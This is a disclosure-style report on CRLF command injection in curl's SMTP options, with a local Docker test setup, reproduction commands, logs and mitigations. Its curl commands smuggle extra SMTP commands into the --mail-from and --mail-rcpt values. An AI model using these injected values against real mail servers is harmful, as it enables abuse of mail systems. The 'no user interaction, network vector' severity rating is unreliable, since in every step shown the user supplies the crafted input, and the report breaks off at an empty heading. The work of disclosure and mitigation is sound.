SMTP Command Injection Vulnerabilities in curl

How it was found

Summary

Successfully reproduced SMTP command injection vulnerabilities in curl that allow attackers to inject arbitrary SMTP commands by using carriage return and line feed characters (\r\n) in email addresses.

Vulnerabilities Confirmed

1. MAIL FROM Injection

Description: Injection via --mail-from parameter using bash ANSI C-quoting Impact: Allows injection of additional SMTP commands after MAIL FROM

2. RCPT TO Injection

Description: Injection via --mail-rcpt parameter using bash ANSI C-quoting Impact: Allows injection of additional SMTP commands after RCPT TO

3. EXPN Path Injection

Description: Injection via --mail-rcpt parameter in EXPN requests Impact: Allows injection of additional SMTP commands in EXPN operations

Test Environment Setup

SMTP Server Setup

# Build and run SMTP server in Docker
docker build -f Dockerfile.smtp -t smtp-server .
docker run -d -p 2525:2525 --name smtp-test smtp-server

# Verify server is running
docker ps
docker logs smtp-test

Reproduction Steps

Step 1: MAIL FROM Injection

curl --url smtp://127.0.0.1:2525 \
     --mail-rcpt victim@local \
     --mail-from $'<attacker@local>\r\nRCPT TO:<pwn@local>' \
     -T /etc/hosts \
     --trace-ascii -

Expected Result:

• curl sends: MAIL FROM:<attacker@local>
• curl sends: RCPT TO:<pwn@local> SIZE=213 (injected command)
• curl sends: RCPT TO:<victim@local> (intended command)

Step 2: RCPT TO Injection

curl --url smtp://127.0.0.1:2525 \
     --mail-from attacker@local \
     --mail-rcpt $'<victim@local>\r\nVRFY postmaster' \
     -T /etc/hosts \
     --trace-ascii -

Expected Result:

• curl sends: RCPT TO:<victim@local> (intended command)
• curl sends: VRFY postmaster> (injected command)

Step 3: EXPN Path Injection

curl --url smtp://127.0.0.1:2525 \
     --request EXPN \
     --mail-rcpt $'listname\r\nVRFY postmaster' \
     --trace-ascii -

Expected Result:

• curl sends: EXPN listname (intended command)
• curl sends: VRFY postmaster (injected command)

Evidence

SMTP Server Logs

The SMTP server logs clearly show the injected commands:

2025-09-25 15:06:13,008 - INFO - ('192.168.65.1', 49640) >> b'MAIL FROM:<attacker@local>'
2025-09-25 15:06:13,010 - INFO - ('192.168.65.1', 49640) >> b'RCPT TO:<pwn@local> SIZE=213'
2025-09-25 15:06:13,010 - INFO - ('192.168.65.1', 49640) >> b'RCPT TO:<victim@local>'

curl Trace Output

The --trace-ascii output shows the exact bytes sent:

=> Send header, 58 bytes (0x3a)
0000: MAIL FROM:<attacker@local>
001c: RCPT TO:<pwn@local> SIZE=213

Impact Assessment

• Severity: High
• Attack Vector: Network
• Authentication: None required
• User Interaction: None required
• Scope: All curl versions with SMTP support

Mitigation

1. Input Validation: Sanitize email addresses to remove \r\n characters
2. Parameter Encoding: Properly escape special characters in SMTP parameters
3. Protocol Compliance: Ensure SMTP commands are properly formatted

Files Created

• smtp_server.py - Python SMTP server for testing
• Dockerfile.smtp - Docker configuration for SMTP server
• SMTP_INJECTION_REPORT.md - This report

Best, Luigino Camastra Aisle Research

Impact

Summary: